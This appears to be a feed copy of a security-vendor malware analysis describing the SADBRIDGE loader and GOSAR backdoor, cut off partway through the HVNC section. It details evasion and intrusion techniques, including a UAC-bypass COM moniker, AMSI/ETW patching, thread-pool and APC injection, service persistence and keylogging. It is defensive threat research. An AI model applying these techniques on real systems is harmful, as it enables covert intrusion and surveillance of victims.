            <link>https://www.elastic.co/de/security-labs/under-the-sadbridge-with-gosar</link>
            <guid>under-the-sadbridge-with-gosar</guid>
            <pubDate>Fri, 13 Dec 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs share details about the SADBRIDGE loader and GOSAR backdoor, malware used in campaigns targeting Chinese-speaking victims.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.</p>
<h3>Key takeaways</h3>
<ul>
<li>Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser</li>
<li>Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)</li>
<li>SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)</li>
<li>GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time</li>
<li>Elastic Security provides comprehensive prevention and detection capabilities against this attack chain</li>
</ul>
<h2>REF3864 Campaign Overview</h2>
<p>In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image32.png" alt="Fake Telegram landing page" /></p>
<p>During this investigation, we uncovered multiple infection chains involving similar techniques:</p>
<ul>
<li>Trojanized MSI installers with low detections</li>
<li>Masquerading using legitimate software bundled with malicious DLLs</li>
<li>Custom SADBRIDGE loader deployed</li>
<li>Final stage GOSAR loaded</li>
</ul>
<p>We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows <code>x64dbg.exe</code> debugging application is used behind-the-scenes to load a malicious, patched DLL (<code>x64bridge.dll</code>). This DLL kicks off a new legitimate program (<code>MonitoringHost.exe</code>) where it side-loads another malicious DLL (<code>HealthServiceRuntime.dll</code>), ultimately performing injection and loading the GOSAR implant in memory via injection.</p>
<p>Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as <code>360tray.exe</code>, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.</p>
<p>QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, <a href="https://www.qualys.com/docs/whitepapers/qualys-wp-stealthy-quasar-evolving-to-lead-the-rat-race-v220727.pdf?_ga=2.196384556.1458236792.1733495919-74841447.1733495919">Evolution of Quasar RAT</a>), including by China-linked <a href="https://www.fbi.gov/wanted/cyber/apt-10-group">APT10</a>. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.</p>
<p>GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image14.png" alt="SADBRIDGE Execution Chain resulting in GOSAR infection" /></p>
<h2>SADBRIDGE Introduction</h2>
<p>The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as <code>x64dbg.exe</code> and <code>MonitoringHost.exe</code> to load malicious DLLs like <code>x64bridge.dll</code> and <code>HealthServiceRuntime.dll</code>, which leads to subsequent stages and shellcodes.</p>
<p>Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a <a href="https://github.com/0xlane/BypassUAC">UAC bypass technique</a> that abuses the <code>ICMLuaUtil</code> COM interface. In addition, SADBRIDGE incorporates a <a href="https://github.com/zcgonvh/TaskSchedulerMisc">privilege escalation bypass</a> through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.</p>
<p>The SADBRIDGE configuration is encrypted using a simple subtraction of <code>0x1</code> on each byte of the configuration string. The encrypted stages are all appended with a <code>.log</code> extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.</p>
<p>SADBRIDGE employs <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty</a>, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long <code>Sleep</code> API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).</p>
<p>The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.</p>
<h2>SADBRIDGE Code Analysis</h2>
<h4>MSI Analysis</h4>
<p>The initial files are packaged in an MSI using <a href="https://www.advancedinstaller.com/">Advanced Installer</a>, the main files of interest are <code>x64dbg.exe</code> and <code>x64bridge.dll</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image20.png" alt="Significant files inside the MSI installer" /></p>
<p>By using MSI tooling (<a href="https://github.com/activescott/lessmsi">lessmsi</a>), we can see the <code>LaunchApp</code> entrypoint in <code>aicustact.dll</code> is configured to execute the file path specified in the <code>AI_APP_FILE</code> property.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image1.png" alt="Custom actions configured using Advanced Installer" /></p>
<p>If we navigate to this <code>AI_APP_FILE</code> property, we can see the file tied to this configuration is <code>x64dbg.exe</code>. This represents the file that will be executed after the installation is completed, the legitimate <code>NetFxRepairTool.exe</code> is never executed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image31.png" alt="AI_APP_FILE property configured to launch x64dbg.exe" /></p>
<h4>x64bridge.dll Side-loading</h4>
<p>When <code>x64dbg.exe</code> gets executed, it calls the <code>BridgeInit</code> export from <code>x64bridge.dll</code>. <code>BridgeInit</code> is a wrapper for the <code>BridgeStart</code> function.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image30.png" alt="Control flow diagram showing call to BridgeStart" /></p>
<p>Similar to techniques observed with <a href="https://www.elastic.co/de/security-labs/blister-loader">BLISTER</a>, SADBRIDGE patches the export of a legitimate DLL.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image7.png" alt="Comparison of BridgeStart export from x64bridge.dll" /></p>
<p>During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed <code>0x4E67C6A7</code>. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to <code>C:\Users\Public\Documents\&lt;hostname_hash&gt;\edbtmp.log</code>. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN  to hide itself from an ordinary directory listing.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image8.png" alt="Configuration file hidden from users" /></p>
<p>Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by <code>0x1</code>.</p>
<p>The configuration consists of:</p>
<ul>
<li>Possible campaign date</li>
<li>Strings to be used for creating services</li>
<li>New name for MonitoringHost.exe (<code>DevQueryBroker.exe</code>)</li>
<li>DLL name for the DLL to be sideloaded by MonitoringHost.exe (<code>HealthServiceRuntime.dll</code>)</li>
<li>Absolute paths for additional stages (<code>.log</code> files)</li>
<li>The primary injection target for hosting GOSAR (<code>svchost.exe</code>)</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image27.png" alt="SADBRIDGE configuration" /></p>
<p>The <code>DevQueryBroker</code> directory (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\</code>) contains all of the encrypted stages (<code>.log</code> files) that are decrypted at runtime. The file (<code>DevQueryBroker.exe</code>) is a renamed copy of Microsoft legitimate application (<code>MonitoringHost.exe</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image18.png" alt="File listing of the DevQueryBroker folder" /></p>
<p>Finally, it creates a process to run <code>DevQueryBroker.exe</code> which side-loads the malicious <code>HealthServiceRuntime.dll</code> in the same folder.</p>
<h4>HealthServiceRuntime.dll</h4>
<p>This module drops both an encrypted and partially decrypted shellcode in the User’s <code>%TEMP%</code> directory. The file name for the shellcode follows the format: <code>log&lt;random_string&gt;.tmp</code>. Each byte of the partially decrypted shellcode is then decremented by <code>0x10</code> to fully decrypt. The shellcode is executed in a new thread of the same process.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image10.png" alt="Decryption of a shellcode in HealthServiceRuntime.dll" /></p>
<p>The malware leverages API hashing using the same algorithm in <a href="https://www.sonicwall.com/blog/project-androm-backdoor-trojan">research</a> published by SonicWall, the hashing algorithm is listed in the Appendix <a href="#appendix">section</a>. The shellcode decrypts <code>DevQueryBroker.log</code> into a PE file then performs a simple XOR operation with a single byte (<code>0x42)</code> in the first third of the file where then it decompresses the result using the LZNT1 algorithm.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image3.png" alt="Shellcode decrypting DevQueryBroker.log file" /></p>
<p>The shellcode then unmaps any existing mappings at the PE file's preferred base address using <code>NtUnmapViewOfSection</code>, ensuring that a call to <code>VirtualAlloc</code> will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific <code>.log</code> files they reference for decryption and execution.</p>
<h4>DevQueryBroker.log</h4>
<p>The malware dynamically loads <code>amsi.dll</code> to disable critical security mechanisms in Windows. It patches <code>AmsiScanBuffer</code> in <code>amsi.dll</code> by inserting instructions to modify the return value to <code>0x80070057</code>, the standardized Microsoft error code <code>E_INVALIDARG</code> indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches <code>AmsiOpenSession</code> to always return the same error code <code>E_INVALIDARG</code>. Additionally, it patches <code>EtwEventWrite</code> in <code>ntdll.dll</code>, replacing the first instruction with a <code>ret</code> instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image17.png" alt="Patching AmsiScanBuffer, AmsiOpenSession and EtwEventWrite APIs" /></p>
<p>Following the patching, an encrypted shellcode is written to <code>temp.ini</code> at path (<code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code>).<br />
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the <code>SECURITY_LOCAL_SYSTEM_RID</code> and calling <code>CheckTokenMembership</code>. If not, it attempts to check for membership in the Administrators group by creating a SID using <code>SECURITY_BUILTIN_DOMAIN_RID</code> and <code>DOMAIN_ALIAS_RID_ADMINS</code> and performing a similar token membership check.</p>
<p>If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a <a href="https://gist.github.com/api0cradle/d4aaef39db0d845627d819b2b6b30512">UAC bypass mechanism</a> by leveraging the <code>ICMLuaUtil</code> COM interface. It crafts a moniker string <code>&quot;Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}&quot;</code> to create an instance of the <code>CMSTPLUA</code> object with Administrator privileges. Once the object is created and the <code>ICMLuaUtil</code> interface is obtained, the malware uses the exposed <code>ShellExec</code> method of the interface to run <code>DevQueryBroker.exe</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image11.png" alt="Privilege Escalation via ICMLuaUtil COM interface" /></p>
<p>If a task or a service is not created to run <code>DevQueryBroker.exe</code> routinely, the malware checks if the Anti-Virus process <code>360tray.exe</code> is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:</p>
<ul>
<li>Service name: <strong>DevQueryBrokerService</strong><br />
Binary path name: <strong>“C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”</strong>.</li>
<li>Display name: <strong>DevQuery Background Discovery Broker Service</strong></li>
<li>Description: <strong>Enables apps to discover devices with a background task.</strong></li>
<li>Start type: <strong>Automatically at system boot</strong></li>
<li>Privileges: <strong>LocalSystem</strong></li>
</ul>
<p>If <code>360tray.exe</code> is detected running, the malware writes an encrypted PE file to <code>DevQueryBrokerService.log</code>, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.</p>
<p>Once <code>DevQueryBroker.exe</code> is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.</p>
<p>On Windows 7, however, it executes a shellcode, which decrypts and runs the <code>DevQueryBrokerPre.log</code> file.</p>
<h3>Stage 1 Injection (explorer.exe)</h3>
<p>SADBRIDGE utilizes <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">PoolParty Variant 7</a> to inject shellcode into <code>explorer.exe</code> by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within <code>explorer.exe</code> to store the shellcode. Additional memory is allocated to store a crafted <a href="https://github.com/SafeBreach-Labs/PoolParty/blob/77e968b35f4bad74add33ea8a2b0b5ed9543276c/PoolParty/ThreadPool.hpp#L42"><code>TP_DIRECT</code></a> structure, which includes the base address of the shellcode as the callback address. Finally, it calls <code>ZwSetIoCompletion</code>, passing a pointer to the <code>TP_DIRECT</code> structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image21.png" alt="I/O Completion Port Shellcode Injection" /></p>
<p>This shellcode decrypts the <code>DevQueryBrokerService.log</code> file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.</p>
<h3>Stage 2 Injection (spoolsv.exe/lsass.exe)</h3>
<p>For Stage 2, SADBRIDGE injects shellcode into <code>spoolsv.exe</code>, or <code>lsass.exe</code> if <code>spoolsv.exe</code> is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts <code>DevQueryBrokerPre.log</code> into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.</p>
<h4>DevQueryBrokerService.log</h4>
<p>The shellcode decrypted from <code>DevQueryBrokerService.log</code> as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC <a href="https://github.com/zcgonvh/TaskSchedulerMisc">bypass technique</a> using the <code>IElevatedFactorySever</code> COM object to indirectly create the scheduled task. This task is configured to run <code>DevQueryBroker.exe</code> on a daily basis with SYSTEM level privileges using the task name <code>DevQueryBrokerService</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image9.png" alt="GUID in Scheduled Task Creation (Virtual Factory for MaintenanceUI)" /></p>
<p>In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from <code>explorer.exe</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image13.png" alt="DevQueryBrokerService.log Spoofed Image Command-Line" /></p>
<h4>DevQueryBrokerPre.log</h4>
<p>SADBRIDGE creates a service named <code>DevQueryBrokerServiceSvc</code> under the registry subkey <code>SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc</code> with the following attributes:</p>
<ul>
<li><strong>Description</strong>: Enables apps to discover devices with a background task.</li>
<li><strong>DisplayName</strong>: DevQuery Background Discovery Broker Service</li>
<li><strong>ErrorControl</strong>: 1</li>
<li><strong>ImagePath</strong>: <code>%systemRoot%\system32\svchost.exe -k netsvcs</code></li>
<li><strong>ObjectName</strong>: LocalSystem</li>
<li><strong>Start</strong>: 2 (auto-start)</li>
<li><strong>Type</strong>: 16.</li>
<li><strong>Failure Actions</strong>:
<ul>
<li>Resets failure count every 24 hours.</li>
<li>Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.</li>
</ul>
</li>
</ul>
<p>The service parameters specify the <code>ServiceDll</code> located at <code>C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\&lt;hostname_hash&gt;\DevQueryBrokerService.dll</code>. If the DLL file does not exist, it will be dropped to disk right after.</p>
<p><code>DevQueryBrokerService.dll</code> has a similar code structure as <code>HealthServiceRuntime.dll</code>, which is seen in the earlier stages of the execution chain. It is responsible for decrypting <code>DevQueryBroker.log</code> and running it. The <code>ServiceDll</code> will be loaded and executed by <code>svchost.exe</code> when the service starts.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image12.png" alt="svchost.exe’s malicious ServiceDLL parameter" /></p>
<p>Additionally, it modifies the <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs</code> key to include an entry for <code>DevQueryBrokerServiceSvc</code> to integrate the newly created service into the group of services managed by the <code>netsvcs</code> service host group.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image19.png" alt="Modifies the netsvc registry key to add DevQueryBrokerServiceSvc" /></p>
<p>SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys <code>SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService</code> and <code>SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService</code>.</p>
<p>Finally, it removes the files <code>DevQueryBroker.exe</code> and <code>HealthServiceRuntime.dll</code> in the <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker</code> folder, as the new persistence mechanism is in place.</p>
<h2>GOSAR Injection</h2>
<p>In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the <code>WTSEnumerateSessionsA</code> API.</p>
<p>If sessions are found, it iterates through each session:</p>
<ul>
<li>For each session, it attempts to retrieve the username (<code>WTSUserName</code>) using <code>WTSQuerySessionInformationA</code>. If the query fails, it moves to the next session.</li>
<li>If <code>WTSUserName</code> is not empty, the code targets <code>svchost.exe</code>, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.</li>
<li>If <code>WTSUserName</code> is empty but the session's <code>WinStationName</code> is <code>&quot;Services&quot;</code> (indicating a service session), it targets <code>dllhost.exe</code> instead, passing the same parameters to the final stage injection subroutine.</li>
</ul>
<p>If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.</p>
<p>Logged-in sessions target <code>svchost.exe</code>, while service sessions or sessions without a logged-in user target <code>dllhost.exe</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image6.png" alt="Enumeration of active sessions" /></p>
<p>If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to <code>S-1-16-12288</code> (System integrity). It then uses the elevated token to create a child process (<code>svchost.exe</code> or <code>dllhost.exe</code>) via <code>CreateProcessAsUserA</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image4.png" alt="Duplication of user token and elevating token privileges" /></p>
<p>If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using <code>CreateProcessA</code>.</p>
<p>The encrypted shellcode <code>C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini</code> is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt <code>.log</code> files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image2.png" alt="APC injection to run GOSAR" /></p>
<p>Finally, the injected shellcode decrypts <code>DevQueryBrokerCore.log</code> to GOSAR and runs it in the newly created process’s memory.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image33.png" alt="GOSAR injected into dllhost.exe and svchost.exe" /></p>
<h2>GOSAR Introduction</h2>
<p>GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.</p>
<p>By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image29.png" alt="Low detection rate on GOSAR VT upload" /></p>
<p>Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).</p>
<h2>GOSAR Code Analysis Overview</h2>
<h3>Code structure of GOSAR</h3>
<p>As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version <code>0.12.01</code></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image26.png" alt="GOSAR code structure" /></p>
<ul>
<li><strong>vibrant/config</strong>: Contains the configuration files for the malware.</li>
<li><strong>vibrant/proto</strong>: Houses all the Google Protocol Buffers (proto) declarations.</li>
<li><strong>vibrant/network</strong>: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener</li>
<li><strong>vibrant/msgs/resolvers</strong>: Defines the commands handled by the malware. These commands are assigned to an object within the <code>vibrant_msgs_init*</code> functions.</li>
<li><strong>vibrant/msgs/services</strong>: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the <code>vibrant_network._ptr_Connection.Start</code> function.</li>
<li><strong>vibrant/logs</strong>: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.</li>
<li><strong>vibrant/pkg/helpers</strong>: Contains helper functions used across various malware commands and services.</li>
<li><strong>vibrant/pkg/screenshot</strong>: Handles the screenshot capture functionality on the infected system.</li>
<li><strong>vibrant/pkg/utils</strong>: Includes utility functions, such as generating random values.</li>
<li><strong>vibrant/pkg/native</strong>: Provides functions for calling Windows API (WINAPI) functions.</li>
</ul>
<h3>New Additions to GOSAR</h3>
<h4>Communication and information gathering</h4>
<p>This new variant continues to use the same communication method as the original, based on <strong>TCP TLS</strong>. Upon connection, it first sends system information to the C2, with 4 new fields added:</p>
<ul>
<li>IPAddress</li>
<li>AntiVirus</li>
<li>ClipboardSettings</li>
<li>Wallets</li>
</ul>
<p>The list of AntiViruses and digital wallets are initialized in the function <code>vibrant_pkg_helpers_init</code> and can be found at the bottom of this document.</p>
<h4>Services</h4>
<p>The malware handles 3 services that are started during the initial connection of the client to the C2:</p>
<ul>
<li>vibrant_services_KeyLogger</li>
<li>vibrant_services_ClipboardLogger</li>
<li>vibrant_services_TickWriteFile</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image22.png" alt="GOSAR services" /></p>
<h5>KeyLogger</h5>
<p>The keylogging functionality in GOSAR is implemented in the <code>vibrant_services_KeyLogger</code> function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa"><code>SetWindowsHookEx</code></a> with the parameter <code>WH_KEYBOARD_LL</code> to monitor low-level keyboard events. The hook function is named <code>vibrant_services_KeyLogger_func1</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image28.png" alt="GOSAR setting the keylogger" /></p>
<h5>ClipboardLogger</h5>
<p>The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-isclipboardformatavailable"><code>IsClipboardFormatAvailable</code></a> then retrieves it using <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getclipboarddata"><code>GetClipboardData</code></a> API.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image34.png" alt="GOSAR clipboard logging" /></p>
<h5>TickWriteFile</h5>
<p>Both <code>ClipboardLogger</code> and <code>KeyLogger</code> services collect data that is written by the <code>TickWriteFile</code> periodically to directory (<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics</code>) under a file of the current date, example <code>2024-11-27</code>.<br />
It can be decrypted by first subtracting the value <code>0x1f</code> then xoring it with the value <code>0x18</code> as shown in the CyberChef recipe.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image24.png" alt="CyberChef recipe used to decrypt keylogger logs" /></p>
<h4>Networking setup</h4>
<p>After initializing its services, the malware spawns <strong>three threads</strong> dedicated to its networking setup.</p>
<ul>
<li>vibrant_network_ConfigFirewallRule</li>
<li>vibrant_network_ConfigHosts</li>
<li>vibrant_network_ConfigAutoListener</li>
</ul>
<p><a href="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image15.png">Threads handling networking setup</a></p>
<h5>ConfigFirewallRule</h5>
<p>The malware creates an inbound firewall rule for the ports range <code>51756-51776</code> under a Chinese name that is translated to <code>Distributed Transaction Coordinator (LAN)</code> it allows all programs and IP addresses inbound the description is set to :<code>Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.</code></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image23.png" alt="Added firewall rule" /></p>
<h5>ConfigHosts</h5>
<p>This function adds an entry to <code>c:\Windows\System32\Drivers\etc\hosts</code> the following <code>127.0.0.1 micrornetworks.com</code>. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.</p>
<h5>ConfigAutoListener</h5>
<p>This functionality of the malware runs an HTTP server listener on the first available port within the range <code>51756-51776</code>, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a <code>GET</code> request to the URI <code>/security.js</code>, responding with the string <code>callback();</code>, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image5.png" alt="Callback handled by GOSAR" /></p>
<h4>Logs</h4>
<p>The malware saves its runtime logs in the directory: <code>%APPDATA%\Roaming\Microsoft\Logs</code> under the filename formatted as: <code>windows-update-log-&lt;YearMonthDay&gt;.log</code>.<br />
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the <code>vibrant_config</code> function, the following is an example:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image16.png" alt="Logs example generated by GOSAR" /></p>
<p>The attacker can remotely retrieve the malware's runtime logs by issuing the command <code>ResolveGetRunLogs</code>.</p>
<h4>Plugins</h4>
<p>The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: <code>C:\ProgramData\policy-err.log</code>. To execute a plugin, the command <code>ResolveDoExecutePlugin</code> is called, it first checks if a plugin is available.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image35.png" alt="GOSAR checking for existence of a plugin to execute" /></p>
<p>It then loads a native DLL reflectively that is stored in base64 format in the binary named <code>plugins.dll</code> and executes its export function <code>ExecPlugin</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image25.png" alt="GOSAR loading plugins.dlll and calling ExecPlugin" /></p>
<p><code>ExecPlugin</code> creates a suspended process of <code>C:\Windows\System32\msiexec.exe</code> with the arguments <code>/package</code> <code>/quiet</code>. It then queues <a href="https://learn.microsoft.com/en-us/windows/win32/sync/asynchronous-procedure-calls">Asynchronous Procedure Calls</a> (APC) to the process's 	main thread. When the thread is resumed, the queued shellcode is executed.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/under-the-sadbridge-with-gosar/image36.png" alt="GOSAR plugin module injecting a PE in msiexec.exe" /></p>
<p>The shellcode reads the encrypted plugin stored at <code>C:\ProgramData\policy-err.log</code>, decrypts it using a hardcoded 1-byte XOR key, and reflectively loads and executes it.</p>
<h4>HVNC</h4>
<p>The malware supports hidden VNC(HVNC) through the existing socket, it exposes 5 commands</p>
<ul>
<li>ResolveHVNCCommand</li>
<li>ResolveGetHVNCScreen</li>
